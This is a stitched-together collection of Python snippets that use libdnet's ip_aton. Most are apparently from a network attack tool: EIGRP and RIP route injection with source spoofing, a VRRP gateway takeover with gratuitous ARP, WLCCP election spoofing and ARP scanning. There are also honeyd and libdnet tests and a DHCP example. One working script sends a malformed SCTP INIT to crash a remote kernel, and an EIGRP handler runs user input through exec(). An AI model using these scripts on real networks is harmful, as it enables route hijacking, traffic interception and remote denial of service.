def run(self): self.parent.log("WLCCP: Election Thread started") header = wlccp_header(0xc1, 0x0, 0x8003, 0x41, 0x0, 0x2800, 0x0, dnet.eth_aton("00:00:00:00:00:00"), 0x2, dnet.eth_aton(self.mac)) h_data = header.render("%s\x00\x01\x00\x00\xff\x00%s\x00\x00\x00\x00\x00\x02\x00\x00\x00\x05%s%s%s%s%s%s%s%s" % ( dnet.eth_aton(self.mac), dnet.eth_aton(self.mac), self.BLOB1, dnet.eth_aton(self.mac), dnet.ip_aton(self.ip), self.BLOB2, dnet.ip_aton(self.ip), self.BLOB3, self.BLOB4, self.BLOB5 ) ) data = dnet.eth_pack_hdr(dnet.eth_aton(self.WLCCP_DST_MAC), dnet.eth_aton(self.mac), socket.htons(self.WLCCP_ETH_TYPE)) + h_data while self.running: if self.parent.dnet: self.parent.dnet.send(data) for x in xrange(self.delay): if not self.running: break time.sleep(1) self.parent.log("WLCCP: Election Thread terminated")
def Setup(self): self.name = "SF|SR Probe to Closed Port" self.expect = "detect.output.4" # Packet 1 payload = TCP(sport=555, dport=79, seq=10000, flags=dnet.TH_SYN|dnet.TH_RST) ip = IP(src=dnet.ip_aton("192.0.2.1"), dst=dnet.ip_aton("192.18.0.10"), id=5624, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip) # Packet 2 payload = TCP(sport=556, dport=79, seq=10000, flags=dnet.TH_SYN|dnet.TH_FIN) ip = IP(src=dnet.ip_aton("192.0.2.1"), dst=dnet.ip_aton("192.18.0.10"), id=5625, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip)
def __init__(self, next_hop=None, delay=None, bandwidth=None, mtu=None, hop_count=None, reliability=None, load=None, prefix=None, dest=None): eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_INTERNAL_ROUTE) if next_hop: self.next_hop = dnet.ip_aton(next_hop) else: self.next_hop = next_hop self.delay = delay self.bandwidth = bandwidth self.mtu = mtu self.hop_count = hop_count self.reliability = reliability self.load = load self.prefix = prefix if dest: self.dest = dnet.ip_aton(dest) else: self.dest = dest
def run(self): self.parent.log("RIP: Thread started") timer = 15 while self.running: if timer == 15: timer = 0 rlist = [] for ip in self.parent.routes: (iter, mask, nh, metrik) = self.parent.routes[ip] rlist.append(rip_entry(rip_entry.AF_INET, 0, dnet.ip_aton(ip), dnet.ip_aton(mask), dnet.ip_aton(nh), int(metrik))) msg = rip_message(rip_message.COMMAND_RESPONSE, rlist) data = msg.render() for dst in self.parent.hosts: udp_hdr = dpkt.udp.UDP( sport=RIP_PORT, dport=RIP_PORT, data=data ) udp_hdr.ulen += len(udp_hdr.data) ip_hdr = dpkt.ip.IP( ttl=2, p=dpkt.ip.IP_PROTO_UDP, src=self.parent.ip, dst=dnet.ip_aton(RIP_MULTICAST_ADDRESS), data=str(udp_hdr) ) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(RIP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr) ) self.parent.dnet.send(str(eth_hdr)) timer = timer + 1 time.sleep(1) self.parent.log("RIP: Thread terminated")
def __init__( self, next_hop=None, delay=None, bandwidth=None, mtu=None, hop_count=None, reliability=None, load=None, prefix=None, dest=None, ): eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_INTERNAL_ROUTE) if next_hop: self.next_hop = dnet.ip_aton(next_hop) else: self.next_hop = next_hop self.delay = delay self.bandwidth = bandwidth self.mtu = mtu self.hop_count = hop_count self.reliability = reliability self.load = load self.prefix = prefix if dest: self.dest = dnet.ip_aton(dest) else: self.dest = dest
def arp_request(ipaddr): sha_str = str(dnet.intf().get(ifname)['link_addr']) sha = dnet.eth_aton(sha_str) spa_str = str(dnet.intf().get(ifname)['addr']).split("/")[0] spa = dnet.ip_aton(spa_str) tha = dnet.ETH_ADDR_BROADCAST tpa = dnet.ip_aton(ipaddr) pkt = ip_header(tha,sha,'\x08\x06') pkt += arp_header('\x00\x01\x08\x00\x06\x04','\x00\x01', sha, spa, '\x00\x00\x00\x00\x00\x00', tpa) interface.send(pkt)
def arp_request(ipaddr): sha_str = str(dnet.intf().get(ifname)['link_addr']) sha = dnet.eth_aton(sha_str) spa_str = str(dnet.intf().get(ifname)['addr']).split("/")[0] spa = dnet.ip_aton(spa_str) tha = dnet.ETH_ADDR_BROADCAST tpa = dnet.ip_aton(ipaddr) pkt = ip_header(tha, sha, '\x08\x06') pkt += arp_header('\x00\x01\x08\x00\x06\x04', '\x00\x01', sha, spa, '\x00\x00\x00\x00\x00\x00', tpa) interface.send(pkt)
def Setup(self): self.name = "Ping" self.expect = "gen.output.1" payload = ICMP(type = 8, data=ICMP.Echo(id=123, seq=1, data="12345690")) ip = IP(src=dnet.ip_aton("192.0.2.254"), dst=dnet.ip_aton("192.18.0.10"), id=5624, p=dnet.IP_PROTO_ICMP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip)
def update_devices(self): self.devices = {} devs = pcap.findalldevs() for (name, descr, addr, flags) in devs: try: test = dnet.eth(name) mac = test.get() self.devices[name] = { 'mac': mac, 'ip4': [], 'ip6': [], 'descr': descr, 'flags': flags } except: pass else: if len(addr) > 1: for (ip, mask, net, gw) in addr: try: dnet.ip_aton(ip) addr_dict = {} addr_dict['ip'] = ip addr_dict['mask'] = mask addr_dict['net'] = net addr_dict['gw'] = gw self.devices[name]['ip4'].append(addr_dict) except: pass try: dnet.ip6_aton(ip) addr_dict = {} addr_dict['ip'] = ip if PLATFORM == "Windows" and mask is None: addr_dict['mask'] = "ffff:ffff:ffff:ffff::" else: addr_dict['mask'] = mask addr_dict['net'] = net addr_dict['gw'] = gw if ip.startswith("fe80:"): addr_dict['linklocal'] = True else: addr_dict['linklocal'] = False self.devices[name]['ip6'].append(addr_dict) except: pass else: #???? pass
def hello(self): timer = DEFAULT_HOLD_TIME while self.running: if timer == DEFAULT_HOLD_TIME: timer = 0 params = eigrp_param(1, 0, 1, 0, 0, 15) version = eigrp_version(self.parent.ios_ver, self.parent.eigrp_ver) #(0xc02, 0x300) args = [params, version] if self.auth: args.insert(0, self.auth) msg = eigrp_packet(eigrp_packet.EIGRP_OPTCODE_HELLO, 0, 0, 0, self.as_num, args) data = msg.render() if not self.parent.spoof: self.send_multicast(data) else: ip_hdr = dpkt.ip.IP( ttl=2, p=dpkt.ip.IP_PROTO_EIGRP, src=self.parent.spoof, dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS), data=data) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(EIGRP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr)) self.parent.dnet.send(str(eth_hdr)) timer += 1 time.sleep(1)
def input_udp(self, eth, ip, udp, timestamp): if ip.dst == dnet.ip_aton(RIP_MULTICAST_ADDRESS) and ip.src != self.ip: if ip.src not in self.hosts: src = dnet.ip_ntoa(ip.src) iter = self.host_treestore.append(None, [src]) self.log("RIP: Got new host %s" % (src)) self.hosts[ip.src] = (iter, src) msg = rip_message() msg.parse(udp.data) for i in msg.entries: nh = dnet.ip_ntoa(i.nh) if nh == "0.0.0.0": nh = src self.host_treestore.append(iter, ["%s/%s via %s metric %d" % (dnet.ip_ntoa(i.addr), dnet.ip_ntoa(i.mask), nh, i.metric)]) else: (iter, src) = self.hosts[ip.src] msg = rip_message(None, []) msg.parse(udp.data) path = self.host_treestore.get_path(iter) expanded = self.host_treeview.row_expanded(path) child = self.host_treestore.iter_children(iter) while child: self.host_treestore.remove(child) child = self.host_treestore.iter_children(iter) for i in msg.entries: nh = dnet.ip_ntoa(i.nh) if nh == "0.0.0.0": nh = src self.host_treestore.append(iter, ["%s/%s via %s metric %d" % (dnet.ip_ntoa(i.addr), dnet.ip_ntoa(i.mask), nh, i.metric)]) if expanded: self.host_treeview.expand_row(path, False)
def hello(self): timer = DEFAULT_HOLD_TIME while self.running: if timer == DEFAULT_HOLD_TIME: timer = 0 params = eigrp_param(1, 0, 1, 0, 0, 15) version = eigrp_version(self.parent.ios_ver, self.parent.eigrp_ver) # (0xc02, 0x300) args = [params, version] if self.auth: args.insert(0, self.auth) msg = eigrp_packet(eigrp_packet.EIGRP_OPTCODE_HELLO, 0, 0, 0, self.as_num, args) data = msg.render() if not self.parent.spoof: self.send_multicast(data) else: ip_hdr = dpkt.ip.IP( ttl=2, p=dpkt.ip.IP_PROTO_EIGRP, src=self.parent.spoof, dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS), data=data, ) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(EIGRP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr), ) self.parent.dnet.send(str(eth_hdr)) timer += 1 time.sleep(1)
def on_spoof_togglebutton_toggled(self, btn): if btn.get_property("active"): self.spoof = dnet.ip_aton(self.spoof_entry.get_text()) self.spoof_entry.set_property("sensitive", False) else: self.spoof_entry.set_property("sensitive", True) self.spoof = False
def run(self): self.parent.log("VRRP-3: Thread started") while self.running: for i in self.parent.peers: (iter, pkg, state, arp) = self.parent.peers[i] if state: src_mac = dnet.eth_aton("00:00:5e:00:01:%02x" % (pkg.id)) vrrp = vrrp_packet(pkg.id, 255, pkg.auth_type, pkg.auth_data, 1, pkg.ips) data = vrrp.render() ip_hdr = dpkt.ip.IP( ttl=255, p=dpkt.ip.IP_PROTO_VRRP, src=self.parent.ip, dst=dnet.ip_aton(VRRP3_MULTICAST_ADDRESS), data=data ) ip_hdr.len += len(ip_hdr.data) ip_hdr.data = vrrp.build_checksum(ip_hdr.data, ip_hdr) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(VRRP3_MULTICAST_MAC), src=src_mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr) ) self.parent.dnet.send(str(eth_hdr)) if arp: brdc_mac = dnet.eth_aton("ff:ff:ff:ff:ff:ff") stp_uplf_mac = dnet.eth_aton("01:00:0c:cd:cd:cd") src_mac = self.parent.mac for j in pkg.ips: arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REPLY, sha=src_mac, spa=j, tha=brdc_mac, tpa=j ) eth_hdr = dpkt.ethernet.Ethernet( dst=brdc_mac, src=src_mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp_hdr) ) self.parent.dnet.send(str(eth_hdr)) arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REPLY, sha=src_mac, spa=j, tha=stp_uplf_mac, tpa=j ) eth_hdr = dpkt.ethernet.Ethernet( dst=stp_uplf_mac, src=src_mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp_hdr) ) self.parent.dnet.send(str(eth_hdr)) self.parent.peers[i] = (iter, pkg, state, arp - 1) time.sleep(1) self.parent.log("VRRP-3: Thread terminated")
def set_ip(self, ip, mask): network = str(IPy.IP("%s/%s" % (ip, mask), make_net=True)) if self.ui == 'gtk': self.scan_network_entry.set_text(network) elif self.ui == 'urw': self.scan_network_edit.set_edit_text(network) self.ip = dnet.ip_aton(ip)
def on_release_button_clicked(self, btn): select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: iter = model.get_iter(i) peer = dnet.ip_aton(model.get_value(iter, self.STORE_SRC_ROW)) self.peers[peer]["state"] = False model.set_value(iter, self.STORE_STATE_ROW, "Released")
def input_ip(self, eth, ip, timestamp): if ip.dst == dnet.ip_aton("224.0.0.10"): if ip.src != self.address and ip.src != self.spoof: self.disp_multicast(str(ip.data), eth.src, ip.src) if self.listen_for_auth and ip.src == self.address: self.disp_auth(str(ip.data)) elif ip.dst == self.address or ip.dst == self.spoof: self.disp_unicast(str(ip.data), eth.src, ip.src)
def on_release_button_clicked(self, btn): select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: iter = model.get_iter(i) peer = dnet.ip_aton(model.get_value(iter, self.LIST_SRC_ROW)) (iter, pkg, run, arp) = self.peers[peer] self.peers[peer] = (iter, pkg, False, arp) model.set_value(iter, self.LIST_STATE_ROW, "Released")
def on_update_button_clicked(self, data): page = self.notebook.get_current_page() if page == 0: msg = eigrp_packet( eigrp_packet.EIGRP_OPTCODE_UPDATE, eigrp_packet.EIGRP_FLAGS_COND_RECV, 0, 0, int(self.as_spinbutton.get_value()), [ eigrp_internal_route( self.next_hop_entry.get_text(), int(self.delay_spinbutton.get_value()), int(self.bandwidth_spinbutton.get_value()), int(self.mtu_spinbutton.get_value()), int(self.hop_count_spinbutton.get_value()), int(self.reliability_spinbutton.get_value()), int(self.load_spinbutton.get_value()), int(self.prefix_spinbutton.get_value()), self.destination_entry.get_text()) ]) elif page == 1: msg = eigrp_packet( eigrp_packet.EIGRP_OPTCODE_UPDATE, eigrp_packet.EIGRP_FLAGS_COND_RECV, 0, 0, int(self.as_spinbutton.get_value()), [ eigrp_external_route( self.next_hop_entry1.get_text(), self.orig_router_entry.get_text(), int(self.orig_as_spinbutton.get_value()), 0, int(self.external_metric_spinbutton.get_value()), int(self.external_id_spinbutton.get_value()), 0, int(self.delay_spinbutton1.get_value()), int(self.bandwidth_spinbutton1.get_value()), int(self.mtu_spinbutton1.get_value()), int(self.hop_count_spinbutton1.get_value()), int(self.reliability_spinbutton1.get_value()), int(self.load_spinbutton1.get_value()), int(self.prefix_spinbutton1.get_value()), self.destination_entry1.get_text()) ]) elif page == 2: buffer = self.update_textview.get_buffer() text = buffer.get_text(buffer.get_start_iter(), buffer.get_end_iter()) if text == "": return exec("msg = " + text) select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: parent = model.iter_parent(model.get_iter(i)) if not parent: parent = model.get_iter(i) host = model.get_value(parent, self.TREE_HOST_ROW) self.log("EIGRP: Sending update to %s" % (host)) peer = dnet.ip_aton(host) self.peers[peer].update(msg)
def update_devices(self): self.devices = {} devs = pcap.findalldevs() for (name, descr, addr, flags) in devs: try: test = dnet.eth(name) mac = test.get() self.devices[name] = { 'mac' : mac, 'ip4' : [], 'ip6' : [], 'descr' : descr, 'flags' : flags } except: pass else: if len(addr) > 1: for (ip, mask, net, gw) in addr: try: dnet.ip_aton(ip) addr_dict = {} addr_dict['ip'] = ip addr_dict['mask'] = mask addr_dict['net'] = net addr_dict['gw'] = gw self.devices[name]['ip4'].append(addr_dict) except: pass try: dnet.ip6_aton(ip) addr_dict = {} addr_dict['ip'] = ip if PLATFORM == "Windows" and mask is None: addr_dict['mask'] = "ffff:ffff:ffff:ffff::" else: addr_dict['mask'] = mask addr_dict['net'] = net addr_dict['gw'] = gw if ip.startswith("fe80:"): addr_dict['linklocal'] = True else: addr_dict['linklocal'] = False self.devices[name]['ip6'].append(addr_dict) except: pass else: #???? pass
def on_del_button_clicked(self, data): select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: parent = model.iter_parent(model.get_iter(i)) if not parent: parent = model.get_iter(i) host = model.get_value(parent, self.TREE_HOST_ROW) peer = dnet.ip_aton(host) self.peers[peer].quit()
def __init__( self, next_hop=None, originating_router=None, originating_as=None, arbitrary_tag=None, external_metric=None, external_proto=None, flags=None, delay=None, bandwidth=None, mtu=None, hop_count=None, reliability=None, load=None, prefix=None, dest=None, ): eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_EXTERNAL_ROUTE) if next_hop: self.next_hop = dnet.ip_aton(next_hop) else: self.next_hop = next_hop if originating_router: self.originating_router = dnet.ip_aton(originating_router) else: self.originating_router = originating_router self.originating_as = originating_as self.arbitrary_tag = arbitrary_tag self.external_metric = external_metric self.external_proto = external_proto self.flags = flags self.delay = delay self.bandwidth = bandwidth self.mtu = mtu self.hop_count = hop_count self.reliability = reliability self.load = load self.prefix = prefix if dest: self.dest = dnet.ip_aton(dest) else: self.dest = dest
def test_ip_misc(self): n = '\x01\x02\x03\x04' a = '1.2.3.4' self.failUnless(dnet.ip_ntoa(n) == a) self.failUnless(dnet.ip_aton(a) == n) dst = '\x05\x06\x07\x08' hdr = dnet.ip_pack_hdr(0, dnet.IP_HDR_LEN, 666, 0, 255, dnet.IP_PROTO_UDP, n, dst) assert hdr == 'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' hdr = dnet.ip_checksum(hdr) assert hdr == 'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\xa9+\x01\x02\x03\x04\x05\x06\x07\x08'
def __init__(self, next_hop=None, originating_router=None, originating_as=None, arbitrary_tag=None, external_metric=None, external_proto=None, flags=None, delay=None, bandwidth=None, mtu=None, hop_count=None, reliability=None, load=None, prefix=None, dest=None): eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_EXTERNAL_ROUTE) if next_hop: self.next_hop = dnet.ip_aton(next_hop) else: self.next_hop = next_hop if originating_router: self.originating_router = dnet.ip_aton(originating_router) else: self.originating_router = originating_router self.originating_as = originating_as self.arbitrary_tag = arbitrary_tag self.external_metric = external_metric self.external_proto = external_proto self.flags = flags self.delay = delay self.bandwidth = bandwidth self.mtu = mtu self.hop_count = hop_count self.reliability = reliability self.load = load self.prefix = prefix if dest: self.dest = dnet.ip_aton(dest) else: self.dest = dest
def main(): if len(sys.argv) != 3: usage() host = sys.argv[1] port = int(sys.argv[2]) try: sock = dnet.ip() intf = dnet.intf() except OSError: err('requires root privileges for raw socket access') dst_addr = socket.gethostbyname(host) interface = intf.get_dst(dnet.addr(dst_addr)) src_addr = interface['addr'].ip msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port)) invalid = '' invalid += '\x20\x10\x11\x73' invalid += '\x00\x00\xf4\x00' invalid += '\x00\x05' invalid += '\x00\x05' invalid += '\x20\x10\x11\x73' for i in xrange(20): invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff' init = dpkt.sctp.Chunk() init.type = dpkt.sctp.INIT init.data = invalid init.len = len(init) sctp = dpkt.sctp.SCTP() sctp.sport = 0x1173 sctp.dport = port sctp.data = [ init ] ip = dpkt.ip.IP() ip.src = src_addr ip.dst = dnet.ip_aton(dst_addr) ip.p = dpkt.ip.IP_PROTO_SCTP ip.data = sctp ip.len = len(ip) print `ip` pkt = dnet.ip_checksum(str(ip)) sock.send(pkt) msg('kernel should have panicked on remote host %s' % (dst_addr))
def main(): if len(sys.argv) != 3: usage() host = sys.argv[1] port = int(sys.argv[2]) try: sock = dnet.ip() intf = dnet.intf() except OSError: err('requires root privileges for raw socket access') dst_addr = socket.gethostbyname(host) interface = intf.get_dst(dnet.addr(dst_addr)) src_addr = interface['addr'].ip msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port)) invalid = '' invalid += '\x20\x10\x11\x73' invalid += '\x00\x00\xf4\x00' invalid += '\x00\x05' invalid += '\x00\x05' invalid += '\x20\x10\x11\x73' for i in xrange(20): invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff' init = dpkt.sctp.Chunk() init.type = dpkt.sctp.INIT init.data = invalid init.len = len(init) sctp = dpkt.sctp.SCTP() sctp.sport = 0x1173 sctp.dport = port sctp.data = [init] ip = dpkt.ip.IP() ip.src = src_addr ip.dst = dnet.ip_aton(dst_addr) ip.p = dpkt.ip.IP_PROTO_SCTP ip.data = sctp ip.len = len(ip) print ` ip ` pkt = dnet.ip_checksum(str(ip)) sock.send(pkt) msg('kernel should have panicked on remote host %s' % (dst_addr))
def send_multicast(self, data): ip_hdr = dpkt.ip.IP(ttl=2, p=dpkt.ip.IP_PROTO_EIGRP, src=self.parent.address, dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS), data=data) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(EIGRP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr)) self.parent.dnet.send(str(eth_hdr))
def on_goodbye_button_clicked(self, data): select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() if len(paths) == 1: parent = model.iter_parent(model.get_iter(paths[0])) if not parent: parent = model.get_iter(paths[0]) host = model.get_value(parent, self.TREE_HOST_ROW) peer = dnet.ip_aton(host) self.peers[peer].msg = None self.goodbye_thread = eigrp_goodbye(self, peer, self.peers[peer].as_num) self.goodbye_label.set_label("Sending Goodbye Messages to %s..." % (host)) self.goodbye_window.show_all() self.goodbye_thread.start() self.log("EIGRP: Goodbye thread started for %s" % (host))
def on_get_button_clicked(self, btn): select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: iter = model.get_iter(i) peer = dnet.ip_aton(model.get_value(iter, self.LIST_SRC_ROW)) (iter, pkg, run, arp) = self.peers[peer] if self.arp_checkbutton.get_active(): arp = 3 else: arp = 0 self.peers[peer] = (iter, pkg, True, arp) model.set_value(iter, self.LIST_STATE_ROW, "Taken") if not self.thread.is_alive(): self.thread.start()
def on_get_button_clicked(self, btn): select = self.treeview.get_selection() (model, paths) = select.get_selected_rows() for i in paths: iter = model.get_iter(i) peer = dnet.ip_aton(model.get_value(iter, self.STORE_SRC_ROW)) if self.arp_checkbutton.get_active(): arp = 3 else: arp = 0 self.peers[peer]["state"] = True self.peers[peer]["arp"] = arp model.set_value(iter, self.STORE_STATE_ROW, "Taken") if not self.thread.is_alive(): self.thread.start()
def run(self): self.parent.log("RIP: Thread started") timer = 15 while self.running: if timer == 15: timer = 0 rlist = [] for ip in self.parent.routes: (iter, mask, nh, metrik) = self.parent.routes[ip] rlist.append( rip_entry(rip_entry.AF_INET, 0, dnet.ip_aton(ip), dnet.ip_aton(mask), dnet.ip_aton(nh), int(metrik))) msg = rip_message(rip_message.COMMAND_RESPONSE, rlist) data = msg.render() for dst in self.parent.hosts: udp_hdr = dpkt.udp.UDP(sport=RIP_PORT, dport=RIP_PORT, data=data) udp_hdr.ulen += len(udp_hdr.data) ip_hdr = dpkt.ip.IP( ttl=2, p=dpkt.ip.IP_PROTO_UDP, src=self.parent.ip, dst=dnet.ip_aton(RIP_MULTICAST_ADDRESS), data=str(udp_hdr)) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(RIP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr)) self.parent.dnet.send(str(eth_hdr)) timer = timer + 1 time.sleep(1) self.parent.log("RIP: Thread terminated")
def send_multicast(self, data): ip_hdr = dpkt.ip.IP( ttl=2, p=dpkt.ip.IP_PROTO_EIGRP, src=self.parent.address, dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS), data=data, ) ip_hdr.len += len(ip_hdr.data) eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(EIGRP_MULTICAST_MAC), src=self.parent.mac, type=dpkt.ethernet.ETH_TYPE_IP, data=str(ip_hdr), ) self.parent.dnet.send(str(eth_hdr))
def scan(self, ips): for i in ips: arp = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH, pro=dpkt.arp.ARP_PRO_IP, op=dpkt.arp.ARP_OP_REQUEST, sha=self.mac, spa=self.ip, tpa=dnet.ip_aton(str(i)) ) eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton("ff:ff:ff:ff:ff:ff"), src=self.mac, type=dpkt.ethernet.ETH_TYPE_ARP, data=str(arp) ) self.dnet.eth.send(str(eth)) time.sleep(0.0001)
def on_add_button_clicked(self, data): dialog = gtk.MessageDialog( self.parent.window, gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_QUESTION, gtk.BUTTONS_OK_CANCEL, "Enter IP Address to add:") entry = gtk.Entry(0) dialog.vbox.pack_start(entry) entry.show() ret = dialog.run() dialog.destroy() if ret == gtk.RESPONSE_OK: try: peer = entry.get_text() arp = dnet.arp() mac = arp.get(dnet.addr(peer)) if not mac: raise Exception("Unable to get mac address") self.add_peer(mac.data, dnet.ip_aton(peer), int(self.as_spinbutton.get_value())) except Exception, e: self.log("EIGRP: Cant add peer %s: %s" % (peer, e))
def on_add_button_clicked(self, data): dialog = gtk.MessageDialog( self.parent.window, gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_QUESTION, gtk.BUTTONS_OK_CANCEL, "Enter IP Address to add:", ) entry = gtk.Entry(0) dialog.vbox.pack_start(entry) entry.show() ret = dialog.run() dialog.destroy() if ret == gtk.RESPONSE_OK: try: peer = entry.get_text() arp = dnet.arp() mac = arp.get(dnet.addr(peer)) if not mac: raise Exception("Unable to get mac address") self.add_peer(mac.data, dnet.ip_aton(peer), int(self.as_spinbutton.get_value())) except Exception, e: self.log("EIGRP: Cant add peer %s: %s" % (peer, e))
def input_udp(self, eth, ip, udp, timestamp): if ip.dst == dnet.ip_aton(RIP_MULTICAST_ADDRESS) and ip.src != self.ip: if ip.src not in self.hosts: src = dnet.ip_ntoa(ip.src) iter = self.host_treestore.append(None, [src]) self.log("RIP: Got new host %s" % (src)) self.hosts[ip.src] = (iter, src) msg = rip_message() msg.parse(udp.data) for i in msg.entries: nh = dnet.ip_ntoa(i.nh) if nh == "0.0.0.0": nh = src self.host_treestore.append(iter, [ "%s/%s via %s metric %d" % (dnet.ip_ntoa( i.addr), dnet.ip_ntoa(i.mask), nh, i.metric) ]) else: (iter, src) = self.hosts[ip.src] msg = rip_message(None, []) msg.parse(udp.data) path = self.host_treestore.get_path(iter) expanded = self.host_treeview.row_expanded(path) child = self.host_treestore.iter_children(iter) while child: self.host_treestore.remove(child) child = self.host_treestore.iter_children(iter) for i in msg.entries: nh = dnet.ip_ntoa(i.nh) if nh == "0.0.0.0": nh = src self.host_treestore.append(iter, [ "%s/%s via %s metric %d" % (dnet.ip_ntoa( i.addr), dnet.ip_ntoa(i.mask), nh, i.metric) ]) if expanded: self.host_treeview.expand_row(path, False)
def Setup(self): self.name = "Connection to open port" self.expect = "gen.output.2" # Packet 1 payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN) ip = IP(src=dnet.ip_aton("192.0.2.254"), dst=dnet.ip_aton("192.18.0.10"), id=5624, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip) # Packet 2 payload = TCP(sport=555, dport=80, seq=10001, ack=194595108, flags=dnet.TH_ACK) ip = IP(src=dnet.ip_aton("192.0.2.254"), dst=dnet.ip_aton("192.18.0.10"), id=5625, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip) # Packet 3 payload = TCP(sport=555, dport=80, seq=10001, ack=194595108, flags=dnet.TH_ACK) payload.data = 'Honeyd fools you' ip = IP(src=dnet.ip_aton("192.0.2.254"), dst=dnet.ip_aton("192.18.0.10"), id=5625, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip)
def Setup(self): self.name = "Routing to Open Port" self.expect = "route.output.1" # Packet 1 payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN) ip = IP(src=dnet.ip_aton("192.0.2.1"), dst=dnet.ip_aton("192.18.3.10"), id=8143, ttl=1, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip) # Packet 2 payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN) ip = IP(src=dnet.ip_aton("192.0.2.1"), dst=dnet.ip_aton("192.18.3.10"), id=8144, ttl=2, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip) # Packet 3 payload = TCP(sport=555, dport=80, seq=10000, flags=dnet.TH_SYN) ip = IP(src=dnet.ip_aton("192.0.2.1"), dst=dnet.ip_aton("192.18.3.10"), id=8145, ttl=3, p=dnet.IP_PROTO_TCP) ip.data = payload ip.len += len(ip.data) self.packets.append(ip)
(dhcp.DHCP_OPT_NETMASK, ''), (dhcp.DHCP_OPT_DNS_SVRS, '') ) ) # build udp packet u = udp.UDP( dport=67, sport=68, data=d ) u.ulen = len(u) # build ip packet i = ip.IP( dst=dnet.ip_aton('255.255.255.255'), src=intf.get(sysintf)['addr'].ip, data=u, p=ip.IP_PROTO_UDP ) i.len = len(i) # build ethernet frame e = ethernet.Ethernet( dst=dnet.ETH_ADDR_BROADCAST, src=hw.get(), data=i ) # send the data out hw.send(str(e))
from dpkt import ethernet sysintf = 'eth0' hw = dnet.eth(sysintf) intf = dnet.intf() # build a dhcp discover packet to request an ip d = dhcp.DHCP(chaddr=hw.get(), xid=1337, op=dhcp.DHCPDISCOVER, opts=((dhcp.DHCP_OP_REQUEST, ''), (dhcp.DHCP_OPT_REQ_IP, ''), (dhcp.DHCP_OPT_ROUTER, ''), (dhcp.DHCP_OPT_NETMASK, ''), (dhcp.DHCP_OPT_DNS_SVRS, ''))) # build udp packet u = udp.UDP(dport=67, sport=68, data=d) u.ulen = len(u) # build ip packet i = ip.IP(dst=dnet.ip_aton('255.255.255.255'), src=intf.get(sysintf)['addr'].ip, data=u, p=ip.IP_PROTO_UDP) i.len = len(i) # build ethernet frame e = ethernet.Ethernet(dst=dnet.ETH_ADDR_BROADCAST, src=hw.get(), data=i) # send the data out hw.send(str(e))
